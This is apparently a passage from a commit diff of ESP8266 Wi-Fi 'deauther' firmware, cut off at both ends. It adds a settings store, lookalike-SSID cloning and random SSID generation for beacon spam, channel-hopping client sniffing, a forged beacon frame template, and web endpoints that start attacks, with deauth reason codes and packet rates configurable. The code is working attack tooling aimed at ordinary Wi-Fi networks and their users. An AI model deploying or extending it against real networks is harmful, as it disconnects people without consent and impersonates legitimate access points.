0x80, 0x00,
0x00, 0x00, //beacon
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
0xc0, 0x6c,
0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
0x64, 0x00,
0x01, 0x04/*,
0x00, 0x06, //SSID size
0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID
>>beaconPacket_end<<
0x04 //channel*/
}; };
uint8_t beaconPacket_end[13] = { uint8_t beaconPacket_end[12] = {
0x01, 0x08, 0x82, 0x84, 0x01, 0x08, 0x82, 0x84,
0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01
beaconChannel //channel /*,channel*/
}; };
uint8_t beaconWPA2tag[26] = { uint8_t beaconWPA2tag[26] = {
@@ -111,6 +105,10 @@ class Attack
0x00, 0x0f, 0xac, 0x02, //PSK 0x00, 0x0f, 0xac, 0x02, //PSK
0x00, 0x00 //RSN capabilities 0x00, 0x00 //RSN capabilities
}; };
int macListChangeCounter = 0;
int attackTimeoutCounter[attacksNum];
int channels[macListLen];
}; };
#endif #endif

View File

@@ -6,77 +6,100 @@ ClientScan::ClientScan(){
} }
void ClientScan::start(int _time){ void ClientScan::start(int _time){
Serial.println();
Serial.println("starting client scan");
clients._clear(); clients._clear();
for(int i=0;i<maxResults;i++) selected[i] = false; for(int i=0;i<maxClientScanResults;i++){
selected[i] = false;
packets[i] = 0;
}
for(int i=0;i<13;i++) channels[i] = 0;
results = 0; results = 0;
timeout = _time; timeout = _time;
target.setMac(apScan.getTarget());
sniffing = true; sniffing = true;
startTime = millis(); channelsNum = 0;
curChannel = 0;
/*Serial.print("starting scan on: "); for(int i=0;i<apScan.results;i++){
target._println();*/ if(!intInArray(apScan.getAPChannel(i),channels)){
channels[channelsNum] = apScan.getAPChannel(i);
channelsNum++;
}
}
wifi_promiscuous_enable(0); wifi_promiscuous_enable(0);
WiFi.disconnect(); WiFi.disconnect();
wifi_set_opmode(STATION_MODE); wifi_set_opmode(STATION_MODE);
wifi_set_channel(apScan.getAPChannel(apScan.selected)); wifi_set_channel(channels[curChannel]);
wifi_promiscuous_enable(1); wifi_promiscuous_enable(1);
if(debug) Serial.println("set channel to "+(String)channels[curChannel]);
curChannel++;
startTime = millis();
sniffing = true;
} }
bool ClientScan::stop(){ bool ClientScan::stop(){
long curTime = millis(); long curTime = millis();
if(curTime - startTime >= timeout*1000){ if(curTime - startTime >= (timeout*1000)/channelsNum && curChannel<channelsNum){
if(debug) Serial.println("changing to channel "+(String)channels[curChannel]);
wifi_set_channel(channels[curChannel]);
curChannel++;
}
else if(curTime - startTime >= timeout*1000){
sniffing = false; sniffing = false;
wifi_promiscuous_enable(0); wifi_promiscuous_enable(0);
/*for(int i=0;i<results && i<maxResults;i++){ Serial.println("stopping client scan after "+(String)(curTime-startTime)+"ms");
Serial.print(i); if(debug){
Serial.print(": "); for(int i=0;i<results && i<maxClientScanResults;i++){
Serial.print(getClientPackets(i)); Serial.print(i);
Serial.print(" "); Serial.print(": ");
Serial.print(getClientVendor(i)); Serial.print(getClientPackets(i));
Serial.print(" "); Serial.print(" ");
Serial.print(getClientMac(i).toString()); Serial.print(getClientVendor(i));
Serial.print(" "); Serial.print(" ");
Serial.print(getClientSelected(i)); Serial.print(getClientMac(i).toString());
Serial.println(""); /*Serial.print(" ");
}*/ Serial.print(getClientSelected(i));*/
Serial.println();
}
}
return true; return true;
} }
else return false; return false;
} }
void ClientScan::packetSniffer(uint8_t *buf, uint16_t len){ void ClientScan::packetSniffer(uint8_t *buf, uint16_t len){
if(sniffing && len>15){ if(sniffing && len>27){
from.set(buf[16],buf[17],buf[18],buf[19],buf[20],buf[21]); from.set(buf[16],buf[17],buf[18],buf[19],buf[20],buf[21]);
to.set(buf[22],buf[23],buf[24],buf[25],buf[26],buf[27]); to.set(buf[22],buf[23],buf[24],buf[25],buf[26],buf[27]);
if(target.compare(from)){ for(int i=0;i<apScan.results;i++){
if(buf[22] == 0xFF && buf[23] == 0xFF && buf[24] == 0xFF && buf[25] == 0xFF && buf[26] == 0xFF && buf[27] == 0xFF){ if(apScan.isSelected(i)){
Serial.print(len); if(apScan.aps._get(i).compare(from)){
Serial.print(" : "); int clientNum = clients.getNum(to);
PrintHex8(buf, len); if(clientNum == -1 && results < maxClientScanResults){
Serial.println(""); data_getVendor(to._get(0),to._get(1),to._get(2)).toCharArray(vendors[results],9);
results++;
packets[clients.add(to)]++;
}else packets[clientNum]++;
/*if(debug){
Serial.print("found: ");
from._print();
Serial.print(" => ");
to._print();
Serial.println("");
}*/
}
} }
int clientNum = clients.getNum(to);
if(clientNum == -1 && results < maxResults){
data_getVendor(to._get(0),to._get(1),to._get(2)).toCharArray(vendors[results],9);
results++;
packets[clients.add(to)]++;
}else packets[clientNum]++;
/*
Serial.println("found:");
from._print();
Serial.print(" => ");
to._print();
Serial.println("");*/
} }
} }
} }
@@ -85,22 +108,31 @@ int ClientScan::getClientPackets(int num){ return packets[clients.getNum(clients
String ClientScan::getClientVendor(int num){ return vendors[num]; } String ClientScan::getClientVendor(int num){ return vendors[num]; }
Mac ClientScan::getClientMac(int num){ return clients._get(num); } Mac ClientScan::getClientMac(int num){ return clients._get(num); }
bool ClientScan::getClientSelected(int num){ return selected[num]; } bool ClientScan::getClientSelected(int num){ return selected[num]; }
int ClientScan::getFirstClient(){
for(int i=0;i<maxClientScanResults;i++){
if(getClientSelected(i)) return i;
}
return -1;
}
String ClientScan::getResults(){ String ClientScan::getResults(){
if(debug) Serial.print("getting client scan result JSON ");
String json = "{ \"clients\":["; String json = "{ \"clients\":[";
for(int i=0;i<results && i<maxResults;i++){ for(int i=0;i<results && i<maxClientScanResults;i++){
json += "{"; json += "{";
json += "\"id\": "+(String)i+","; json += "\"i\":"+(String)i+",";
json += "\"packets\": "+(String)getClientPackets(i)+","; json += "\"p\":"+(String)getClientPackets(i)+",";
json += "\"mac\": \""+getClientMac(i).toString()+"\","; json += "\"m\":\""+getClientMac(i).toString()+"\",";
json += "\"name\": \""+(String)nameList.get(getClientMac(i))+"\","; json += "\"n\":\""+(String)nameList.get(getClientMac(i))+"\",";
json += "\"vendor\": \""+(String)getClientVendor(i)+"\","; json += "\"v\":\""+(String)getClientVendor(i)+"\",";
json += "\"selected\": "+(String)getClientSelected(i); json += "\"s\":"+(String)getClientSelected(i);
json += "}"; json += "}";
if((i!=results-1) && (i!=maxResults-1)) json += ","; if((i!=results-1) && (i!=maxClientScanResults-1)) json += ",";
} }
json += "] }"; json += "] }";
if(debug){
Serial.println(json);
Serial.println("done ");
}
return json; return json;
} }

View File

@@ -1,9 +1,9 @@
#ifndef ClientScan_h #ifndef ClientScan_h
#define ClientScan_h #define ClientScan_h
#define maxResults 80 #define maxClientScanResults 40
#include "ESP8266WiFi.h" #include <ESP8266WiFi.h>
#include "Mac.h" #include "Mac.h"
#include "MacList.h" #include "MacList.h"
#include "APScan.h" #include "APScan.h"
@@ -17,7 +17,9 @@ extern APScan apScan;
extern NameList nameList; extern NameList nameList;
extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third); extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third);
extern bool intInArray(int num, int _array[]);
extern void PrintHex8(uint8_t *data, uint8_t length); extern void PrintHex8(uint8_t *data, uint8_t length);
extern const bool debug;
class ClientScan{ class ClientScan{
public: public:
@@ -35,6 +37,7 @@ class ClientScan{
String getClientVendor(int num); String getClientVendor(int num);
Mac getClientMac(int num); Mac getClientMac(int num);
bool getClientSelected(int num); bool getClientSelected(int num);
int getFirstClient();
int results = 0; int results = 0;
int timeout = 0; int timeout = 0;
@@ -45,15 +48,18 @@ class ClientScan{
Mac from; Mac from;
Mac to; Mac to;
Mac target;
Mac broadcast; Mac broadcast;
Mac zero; Mac zero;
MacList clients; MacList clients;
char vendors[maxResults][9]; char vendors[maxClientScanResults][9];
int packets[maxResults]; int packets[maxClientScanResults];
bool selected[maxResults]; bool selected[maxClientScanResults];
int channels[13];
int channelsNum = 0;
int curChannel = 0;
}; };
#endif #endif

View File

@@ -1,7 +1,7 @@
#ifndef Mac_h #ifndef Mac_h
#define Mac_h #define Mac_h
#include "Arduino.h" #include <Arduino.h>
class Mac class Mac
{ {
@@ -20,4 +20,4 @@ class Mac
uint8_t adress[6]; uint8_t adress[6];
}; };
#endif #endif

View File

@@ -17,8 +17,9 @@ int MacList::add(Mac adr){
macAdrs[num].setMac(adr); macAdrs[num].setMac(adr);
num++; num++;
return num-1; return num-1;
}else return -1; }
} }
return -1;
} }
Mac MacList::_get(int i){ Mac MacList::_get(int i){
@@ -55,3 +56,8 @@ void MacList::remove(Mac adr){
} }
} }
} }
void MacList::set(int num, Mac adr){
macAdrs[num].setMac(adr);
}

View File

@@ -1,7 +1,7 @@
#ifndef MacList_h #ifndef MacList_h
#define MacList_h #define MacList_h
#define listLen 80 #define listLen 64
#include "Mac.h" #include "Mac.h"
@@ -11,6 +11,7 @@ class MacList
MacList(); MacList();
int add(Mac adr); int add(Mac adr);
void remove(Mac adr); void remove(Mac adr);
void set(int num, Mac adr);
void info(); void info();
bool contains(Mac adr); bool contains(Mac adr);
int getNum(Mac adr); int getNum(Mac adr);

View File

@@ -1,12 +1,7 @@
#include "NameList.h" #include "NameList.h"
NameList::NameList(){ NameList::NameList(){
if((listLength*nameLength+6)+1>maxSize) Serial.println("ERROR: EEPROM OVERFLOW!");
}
void NameList::begin(){
EEPROM.begin(eepromSize);
if((listLength*nameLength+6)+1>eepromSize) Serial.println("ERROR: EEPROM OVERFLOW!");
} }
void NameList::load(){ void NameList::load(){
@@ -29,7 +24,7 @@ void NameList::clear(){
clients._clear(); clients._clear();
EEPROM.write(romAdr,len); EEPROM.write(romAdr,len);
EEPROM.commit(); EEPROM.commit();
Serial.println("EEPROM cleared"); Serial.println("nameList cleared");
} }
void NameList::save(){ void NameList::save(){
@@ -44,13 +39,13 @@ void NameList::save(){
} }
void NameList::add(Mac client, String name){ void NameList::add(Mac client, String name){
if(clients.add(client)) len++; if(clients.add(client) >= 0) len++;
else Serial.println("WARNING: name list is full!"); else if(clients.getNum(client) < 0) Serial.println("WARNING: name list is full!");
uint8_t _buf[nameLength]; uint8_t _buf[nameLength];
name.getBytes(_buf,nameLength); name.getBytes(_buf,nameLength);
for(int i=0;i<nameLength;i++){ for(int i=0;i<nameLength;i++){
if(i<name.length()) names[clients.getNum(client)][i] = _buf[i]; if(i<name.length()) names[clients.getNum(client)][i] = _buf[i];
else names[clients.getNum(client)][i] = 32; else names[clients.getNum(client)][i] = 0x00;
} }
NameList::save(); NameList::save();
} }
@@ -64,4 +59,36 @@ String NameList::get(Mac client){
} }
} }
return returnStr; return returnStr;
} }
String NameList::getName(int num){
String returnStr;
for(int h=0;h<nameLength;h++){
if(names[num][h] != 0x00) returnStr += (char)names[num][h];
}
returnStr.trim();
return returnStr;
}
Mac NameList::getMac(int num){
return clients._get(num);
}
void NameList::remove(int num){
for(int i=num;i<len-1;i++){
clients.set(num, clients._get(num+1));
for(int h=0;h<nameLength;h++) names[num][h] = names[num+1][h];
}
clients.remove(clients._get(len));
clients.num--;
len--;
save();
}
void NameList::edit(int num, String name){
for(int i=0;i<nameLength;i++){
if(i<name.length()) names[num][i] = name[i];
else names[num][i] = 0x00;
}
}

View File

@@ -1,34 +1,38 @@
#ifndef NameList_h #ifndef NameList_h
#define NameList_h #define NameList_h
#include "EEPROM.h" #include <EEPROM.h>
#include "Mac.h" #include "Mac.h"
#include "MacList.h" #include "MacList.h"
#define romAdr 0 #define romAdr 0
#define maxSize 1024
#define listLength 50 #define listLength 50
#define nameLength 32 #define nameLength 18
#define eepromSize 4096
/* /*
The NameList holds and saves all your custom device names in the EEPROM. The NameList holds and saves all your custom device names in the EEPROM.
You can modify the length above, but be careful the EEPROM size is limited. You can modify the length above, but be careful the EEPROM size is limited.
You may have to call nameList.clear() when uploading for the first time. You may have to call nameList.clear() when uploading for the first time.
*/ */
extern const bool debug;
class NameList class NameList
{ {
public: public:
NameList(); NameList();
void begin();
void load(); void load();
void clear(); void clear();
void add(Mac client, String name); void add(Mac client, String name);
void edit(int num, String name);
String get(Mac client); String get(Mac client);
String getName(int num);
Mac getMac(int num);
void remove(int num);
int len = 0;
private: private:
void save(); void save();
int len = 0;
MacList clients; MacList clients;
uint8_t names[listLength][nameLength]; uint8_t names[listLength][nameLength];
}; };

View File

@@ -0,0 +1,105 @@
#include "SSIDList.h"
SSIDList::SSIDList(){
if(listAdr+SSIDListLength*SSIDLength > 4096) Serial.println("WARNING: EEPROM overflow!");
}
void SSIDList::load(){
len = EEPROM.read(lenAdr);
if( len < 0 ||len > SSIDListLength){
clear();
save();
}
for(int i=0;i<len;i++){
for(int h=0;h<SSIDLength;h++){
char _nextChar = EEPROM.read(listAdr+(i*SSIDLength)+h);
names[i][h] = _nextChar;
}
}
}
void SSIDList::clear(){
len = 0;
}
void SSIDList::add(String name){
if(len < SSIDListLength){
for(int i=0;i<SSIDLength;i++){
if(i<name.length()) names[len][i] = name[i];
else names[len][i] = 0x00;
}
len++;
}
}
void SSIDList::addClone(String name){
int _restSSIDLen = SSIDLength - name.length();
String _apName;
for(int c=0;c<SSIDListLength;c++){
_apName = name;
if(c < _restSSIDLen) for(int d=0; d < _restSSIDLen-c; d++) _apName += " ";//e.g. "SAMPLEAP "
else if(c < _restSSIDLen*2){
_apName = " "+_apName;
for(int d=0;d<(_restSSIDLen-1)-c/2;d++) _apName += " ";//e.g. " SAMPLEAP "
}else if(c < _restSSIDLen*3){
_apName = "."+_apName;
for(int d=0;d<(_restSSIDLen-1)-c/3;d++) _apName += " ";//e.g. ".SAMPLEAP "
} else{
for(int d=0; d < _restSSIDLen-2; d++) _apName += " ";
_apName += (String)c;//e.g. "SAMPLEAP 78"
}
add(_apName);
}
}
void SSIDList::edit(int num, String name){
for(int i=0;i<SSIDLength;i++){
if(i<name.length()) names[num][i] = name[i];
else names[num][i] = 0x00;
}
}
String SSIDList::get(int num){
String _name = "";
for(int i=0;i<SSIDLength;i++){
if(names[num][i] != 0x00) _name += names[num][i];
}
return _name;
}
void SSIDList::remove(int num){
if(num >= 0 && num < len){
for(int i=num;i<len-1;i++){
for(int h=0;h<SSIDLength;h++){
names[i][h] = names[i+1][h];
}
}
len--;
}
}
void SSIDList::save(){
if(debug) Serial.print("saving SSIDList...");
EEPROM.write(lenAdr, len);
for(int i=0;i<len;i++){
for(int h=0;h<SSIDLength;h++){
EEPROM.write(listAdr+(i*SSIDLength)+h, names[i][h]);
}
}
EEPROM.commit();
if(debug) Serial.println("done");
}
void SSIDList::_random(){
String _rName;
for(int i=len;i<SSIDListLength;i++){
_rName = "";
for(int h=0; h < SSIDLength; h++) _rName += letters[random(0,sizeof(letters))];
add(_rName);
}
}

View File

@@ -0,0 +1,36 @@
#ifndef SSIDList_h
#define SSIDList_h
#include <EEPROM.h>
#include "Mac.h"
#include "MacList.h"
#define listAdr 2048
#define lenAdr 2047
#define SSIDListLength 64
#define SSIDLength 32
extern const bool debug;
class SSIDList
{
public:
SSIDList();
void load();
void clear();
void add(String name);
void addClone(String name);
void edit(int num, String name);
String get(int num);
void remove(int num);
void _random();
void save();
int len = 0;
private:
char letters[67] = {0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,0x6c,0x6d,0x6e,0x6f,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x20,0x2c,0x2e,0x2d,0x5f};
char names[SSIDListLength][SSIDLength];
};
#endif

View File

@@ -0,0 +1,136 @@
#include "Settings.h"
Settings::Settings(){
}
void Settings::load(){
ssidLen = EEPROM.read(ssidLenAdr);
passwordLen = EEPROM.read(passwordLenAdr);
if(ssidLen < 1 || ssidLen > 32 || passwordLen < 8 || passwordLen > 32) reset();
else{
ssid = "";
password = "";
for(int i=0;i<ssidLen;i++) ssid += (char)EEPROM.read(ssidAdr+i);
for(int i=0;i<passwordLen;i++) password += (char)EEPROM.read(passwordAdr+i);
ssidHidden = (bool)EEPROM.read(ssidHiddenAdr);
if((int)EEPROM.read(apChannelAdr) >= 1 && (int)EEPROM.read(apChannelAdr) <= 11){
apChannel = (int)EEPROM.read(apChannelAdr);
} else {
reset();
}
apScanHidden = (bool)EEPROM.read(apScanHiddenAdr);
deauthReason = EEPROM.read(deauthReasonAdr);
attackTimeout = eepromReadInt(attackTimeoutAdr);
attackPacketRate = EEPROM.read(attackPacketRateAdr);
clientScanTime = EEPROM.read(clientScanTimeAdr);
attackEncrypted = (bool)EEPROM.read(attackEncryptedAdr);
}
}
void Settings::reset(){
if(debug) Serial.print("reset settings...");
ssid = "pwned";
password = "deauther"; //must have at least 8 characters
ssidHidden = false;
apChannel = 1;
ssidLen = ssid.length();
passwordLen = password.length();
apScanHidden = true;
deauthReason = 0x01;
attackTimeout = 5*60;
attackPacketRate = 10;
clientScanTime = 15;
attackEncrypted = false;
if(debug) Serial.println("done");
save();
}
void Settings::save(){
ssidLen = ssid.length();
passwordLen = password.length();
EEPROM.write(ssidLenAdr, ssidLen);
EEPROM.write(passwordLenAdr, passwordLen);
for(int i=0;i<ssidLen;i++) EEPROM.write(ssidAdr+i,ssid[i]);
for(int i=0;i<passwordLen;i++) EEPROM.write(passwordAdr+i,password[i]);
EEPROM.write(ssidHiddenAdr, ssidHidden);
EEPROM.write(apChannelAdr, apChannel);
EEPROM.write(apScanHiddenAdr, apScanHidden);
EEPROM.write(deauthReasonAdr, deauthReason);
eepromWriteInt(attackTimeoutAdr, attackTimeout);
EEPROM.write(attackPacketRateAdr, attackPacketRate);
EEPROM.write(clientScanTimeAdr, clientScanTime);
EEPROM.write(attackEncryptedAdr, attackEncrypted);
EEPROM.commit();
if(debug){
info();
Serial.println("settings saved");
}
}
void Settings::info(){
Serial.println("settings:");
Serial.println("SSID: "+ssid);
Serial.println("SSID length: "+(String)ssidLen);
Serial.println("SSID hidden: "+(String)ssidHidden);
Serial.println("password: "+password);
Serial.println("password length: "+(String)passwordLen);
Serial.println("channel: "+(String)apChannel);
Serial.println("Scan hidden APs: "+(String)apScanHidden);
Serial.println("deauth reson: "+(String)(int)deauthReason);
Serial.println("attack timeout: "+(String)attackTimeout);
Serial.println("attack packet rate: "+(String)attackPacketRate);
Serial.println("client scan time: "+(String)clientScanTime);
Serial.println("attack SSID encrypted: "+(String)attackEncrypted);
}
String Settings::get(){
if(debug) Serial.println("getting settings json");
String json = "{";
json += "\"ssid\":\""+ssid+"\",";
json += "\"ssidHidden\":"+(String)ssidHidden+",";
json += "\"password\":\""+password+"\",";
json += "\"apChannel\":"+(String)apChannel+",";
json += "\"apScanHidden\":"+(String)apScanHidden+",";
json += "\"deauthReason\":"+(String)(int)deauthReason+",";
json += "\"attackTimeout\":"+(String)attackTimeout+",";
json += "\"attackPacketRate\":"+(String)attackPacketRate+",";
json += "\"clientScanTime\":"+(String)clientScanTime+",";
json += "\"attackEncrypted\":"+(String)attackEncrypted+",";
json += "\"nameList\":[";
for(int i=0;i<nameList.len;i++){
json += "{";
json += "\"n\":\""+nameList.getName(i)+"\",";
json += "\"m\":\""+nameList.getMac(i).toString()+"\",";
json += "\"v\":\""+data_getVendor(nameList.getMac(i)._get(0), nameList.getMac(i)._get(1), nameList.getMac(i)._get(2))+"\"";
json += "}";
if(i!=nameList.len-1) json += ",";
}
json += "] }";
if(debug){
Serial.println(json);
Serial.println("done");
}
return json;
}

View File

@@ -0,0 +1,56 @@
#ifndef Settings_h
#define Settings_h
#include <EEPROM.h>
#include "Mac.h"
#include "MacList.h"
#include "NameList.h"
extern const bool debug;
extern String data_getVendor(uint8_t first,uint8_t second,uint8_t third);
extern void eepromWriteInt(int adr, int val);
extern int eepromReadInt(int adr);
extern NameList nameList;
#define ssidLenAdr 1024
#define ssidAdr 1025
#define passwordLenAdr 1057
#define passwordAdr 1058
#define deauthReasonAdr 1090
#define attackTimeoutAdr 1091
#define attackPacketRateAdr 1093
#define clientScanTimeAdr 1094
#define attackEncryptedAdr 1095
#define ssidHiddenAdr 1096
#define apScanHiddenAdr 1097
#define apChannelAdr 1098
class Settings
{
public:
Settings();
void load();
void reset();
void save();
String get();
void info();
int ssidLen;
String ssid = "";
bool ssidHidden;
int passwordLen;
String password = "";
int apChannel;
bool apScanHidden;
uint8_t deauthReason;
unsigned int attackTimeout;
int attackPacketRate;
int clientScanTime;
bool attackEncrypted;
private:
};
#endif

File diff suppressed because one or more lines are too long

View File

@@ -8,61 +8,62 @@ extern "C" {
#include "user_interface.h" #include "user_interface.h"
} }
#include <EEPROM.h>
#include "data.h" #include "data.h"
#include "NameList.h" #include "NameList.h"
#include "APScan.h" #include "APScan.h"
#include "ClientScan.h" #include "ClientScan.h"
#include "Attack.h" #include "Attack.h"
#include "Settings.h"
#include "SSIDList.h"
const static char *ssid = "pwned"; /* ========== DEBUG ========== */
const static char *password = "deauther"; //must have at least 8 characters const bool debug = true;
/* ========== DEBUG ========== */
ESP8266WebServer server(80); ESP8266WebServer server(80);
/*
I had some troubles implementing singleton classes.
see: https://github.com/esp8266/Arduino/issues/500
They fixed this issue within a newer SDK version - the one we can't use, so I used global variables.
*/
NameList nameList; NameList nameList;
APScan apScan; APScan apScan;
ClientScan clientScan; ClientScan clientScan;
Attack attack; Attack attack;
Settings settings;
SSIDList ssidList;
void sniffer(uint8_t *buf, uint16_t len){ void sniffer(uint8_t *buf, uint16_t len){
clientScan.packetSniffer(buf,len); clientScan.packetSniffer(buf,len);
} }
void startWifi(){ void startWifi(){
Serial.println("starting WiFi AP");
WiFi.mode(WIFI_STA); WiFi.mode(WIFI_STA);
wifi_set_promiscuous_rx_cb(sniffer); wifi_set_promiscuous_rx_cb(sniffer);
WiFi.softAP(ssid, password); //for an open network without a password change to: WiFi.softAP(ssid); WiFi.softAP((const char*)settings.ssid.c_str(), (const char*)settings.password.c_str(), settings.apChannel, settings.ssidHidden); //for an open network without a password change to: WiFi.softAP(ssid);
String _ssid = (String)ssid; Serial.println("SSID: "+settings.ssid);
String _password = (String)password; Serial.println("Password: "+settings.password);
Serial.println("SSID: "+_ssid); if(settings.password.length()<8) Serial.println("WARNING: password must have at least 8 characters!");
Serial.println("Password: "+_password); if(settings.ssid.length()<1 || settings.ssid.length()>32) Serial.println("WARNING: SSID length must be between 1 and 32 characters!");
if(_password.length()<8) Serial.println("WARNING: password must have at least 8 characters!");
if(_ssid.length()<1 || _ssid.length()>32) Serial.println("WARNING: SSID length must be between 1 and 32 characters!");
} }
void setup(){ void setup(){
Serial.begin(115200); Serial.begin(115200);
delay(2000); delay(2000);
nameList.begin(); EEPROM.begin(4096);
//nameList.clear();
settings.load();
if(debug) settings.info();
nameList.load(); nameList.load();
ssidList.load();
Serial.println(""); Serial.println("");
Serial.println("starting..."); Serial.println("starting...");
startWifi(); startWifi();
attack.generate(-1); attack.stopAll();
attack.generate();
/* ========== Web Server ========== */ /* ========== Web Server ========== */
@@ -73,10 +74,12 @@ void setup(){
server.on("/index.html", loadIndex); server.on("/index.html", loadIndex);
server.on("/clients.html", loadClients); server.on("/clients.html", loadClients);
server.on("/attack.html", loadAttack); server.on("/attack.html", loadAttack);
server.on("/settings.html", loadSettings);
server.on("/functions.js", loadFunctionsJS); server.on("/functions.js", loadFunctionsJS);
/* header links */ /* header links */
server.on ("/style.css", loadStyle); server.on ("/style.css", loadStyle);
server.on ("/manifest.json", loadManifest);
/* JSON */ /* JSON */
server.on("/APScanResults.json", sendAPResults); server.on("/APScanResults.json", sendAPResults);
@@ -84,19 +87,31 @@ void setup(){
server.on("/APSelect.json", selectAP); server.on("/APSelect.json", selectAP);
server.on("/ClientScan.json", startClientScan); server.on("/ClientScan.json", startClientScan);
server.on("/ClientScanResults.json", sendClientResults); server.on("/ClientScanResults.json", sendClientResults);
server.on("/ClientScanTime.json", sendClientScanTime);
server.on("/clientSelect.json", selectClient); server.on("/clientSelect.json", selectClient);
server.on("/setName.json", setClientName); server.on("/setName.json", setClientName);
server.on("/attackInfo.json", sendAttackInfo); server.on("/attackInfo.json", sendAttackInfo);
server.on("/attackStart.json", startAttack); server.on("/attackStart.json", startAttack);
server.on("/settings.json", getSettings);
server.on("/settingsSave.json", saveSettings);
server.on("/settingsReset.json", resetSettings);
server.on("/deleteName.json", deleteName);
server.on("/clearNameList.json", clearNameList);
server.on("/editNameList.json", editClientName);
server.on("/addSSID.json", addSSID);
server.on("/cloneSSID.json", cloneSSID);
server.on("/deleteSSID.json", deleteSSID);
server.on("/randomSSID.json", randomSSID);
server.on("/clearSSID.json", clearSSID);
server.on("/resetSSID.json", resetSSID);
server.on("/saveSSID.json", saveSSID);
server.begin(); server.begin();
} }
void loop(){ void loop(){
if(clientScan.sniffing){ if(clientScan.sniffing){
if(clientScan.stop()){ if(clientScan.stop()) startWifi();
startWifi();
}
} else{ } else{
server.handleClient(); server.handleClient();
attack.run(); attack.run();
@@ -109,6 +124,9 @@ void loadClients(){ server.send ( 200, "text/html", data_getClientsHTML()); }
void loadAttack(){ server.send ( 200, "text/html", data_getAttackHTML() ); } void loadAttack(){ server.send ( 200, "text/html", data_getAttackHTML() ); }
void loadFunctionsJS(){ server.send( 200, "text/javascript", data_getFunctionsJS() ); } void loadFunctionsJS(){ server.send( 200, "text/javascript", data_getFunctionsJS() ); }
void loadStyle(){ server.send ( 200, "text/css", data_getStyle() ); } void loadStyle(){ server.send ( 200, "text/css", data_getStyle() ); }
void loadManifest(){ server.send ( 200, "text/css", data_getManifest() ); }
void loadSettings(){ server.send( 200, "text/html", data_getSettingsHTML() ); }
//==========AP-Scan========== //==========AP-Scan==========
void startAPScan(){ void startAPScan(){
@@ -118,51 +136,148 @@ void startAPScan(){
} }
} }
void sendAPResults(){ server.send ( 200, "text/json", apScan.getResults()); } void sendAPResults(){
if(server.hasArg("apid")) {
int apid = server.arg("apid").toInt();
server.send ( 200, "text/json", apScan.getResult(apid));
} else {
server.send ( 200, "text/json", apScan.getResults());
}
}
void selectAP(){ void selectAP(){
if(server.hasArg("num")) { if(server.hasArg("num")) {
apScan.select(server.arg("num").toInt()); apScan.select(server.arg("num").toInt());
server.send ( 200, "text/json", "true"); server.send( 200, "text/json", "true");
attack.stopAll(); attack.stopAll();
} }
} }
//==========Client-Scan========== //==========Client-Scan==========
void startClientScan(){ void startClientScan(){
if(server.hasArg("time") && apScan.selected > -1 && !clientScan.sniffing) { if(server.hasArg("time") && apScan.getFirstTarget() > -1 && !clientScan.sniffing) {
server.send(200, "text/json", "true"); server.send(200, "text/json", "true");
clientScan.start(server.arg("time").toInt()); clientScan.start(server.arg("time").toInt());
attack.stop(0); attack.stopAll();
} else server.send ( 200, "text/json", "Error: no selected access point"); } else server.send( 200, "text/json", "Error: no selected access point");
} }
void sendClientResults(){ server.send( 200, "text/json", clientScan.getResults()); } void sendClientResults(){ server.send( 200, "text/json", clientScan.getResults() ); }
void sendClientScanTime(){ server.send( 200, "text/json", (String)settings.clientScanTime ); }
void selectClient(){ void selectClient(){
if(server.hasArg("num")) { if(server.hasArg("num")) {
clientScan.select(server.arg("num").toInt()); clientScan.select(server.arg("num").toInt());
attack.stop(0); attack.stop(0);
server.send ( 200, "text/json", "true"); server.send( 200, "text/json", "true");
} }
} }
void setClientName(){ void setClientName(){
if(server.hasArg("id") && server.hasArg("name")) { if(server.hasArg("id") && server.hasArg("name")) {
nameList.add(clientScan.getClientMac(server.arg("id").toInt()),server.arg("name")); nameList.add(clientScan.getClientMac(server.arg("id").toInt()),server.arg("name"));
server.send ( 200, "text/json", "true"); server.send( 200, "text/json", "true");
} }
} }
//==========Attack========== //==========Attack==========
void sendAttackInfo(){ server.send ( 200, "text/json", attack.getResults()); } void sendAttackInfo(){ server.send( 200, "text/json", attack.getResults()); }
void startAttack(){ void startAttack(){
if(server.hasArg("num")) { if(server.hasArg("num")) {
int _attackNum = server.arg("num").toInt(); int _attackNum = server.arg("num").toInt();
if(apScan.selected > -1 || _attackNum == 3){ if(apScan.getFirstTarget() > -1 || _attackNum == 2){
attack.start(server.arg("num").toInt()); attack.start(server.arg("num").toInt());
server.send ( 200, "text/json", "true"); server.send ( 200, "text/json", "true");
} }else server.send( 200, "text/json", "false");
} }
} }
void addSSID(){
ssidList.add(server.arg("name"));
server.send( 200, "text/json", "true");
}
void cloneSSID(){
ssidList.addClone(server.arg("name"));
server.send( 200, "text/json", "true");
}
void deleteSSID(){
ssidList.remove(server.arg("num").toInt());
server.send( 200, "text/json", "true");
}
void randomSSID(){
ssidList._random();
server.send( 200, "text/json", "true");
}
void clearSSID(){
ssidList.clear();
server.send( 200, "text/json", "true");
}
void resetSSID(){
ssidList.load();
server.send( 200, "text/json", "true");
}
void saveSSID(){
ssidList.save();
server.send( 200, "text/json", "true");
}
//==========Settings==========
void getSettings(){ server.send ( 200, "text/json", settings.get() ); }
void saveSettings(){
if(server.hasArg("ssid")) settings.ssid = server.arg("ssid");
if(server.hasArg("ssidHidden")){
if(server.arg("ssidHidden") == "false") settings.ssidHidden = false;
else settings.ssidHidden = true;
}
if(server.hasArg("password")) settings.password = server.arg("password");
if(server.hasArg("apChannel")) settings.apChannel = server.arg("apChannel").toInt();
if(server.hasArg("ssidEnc")){
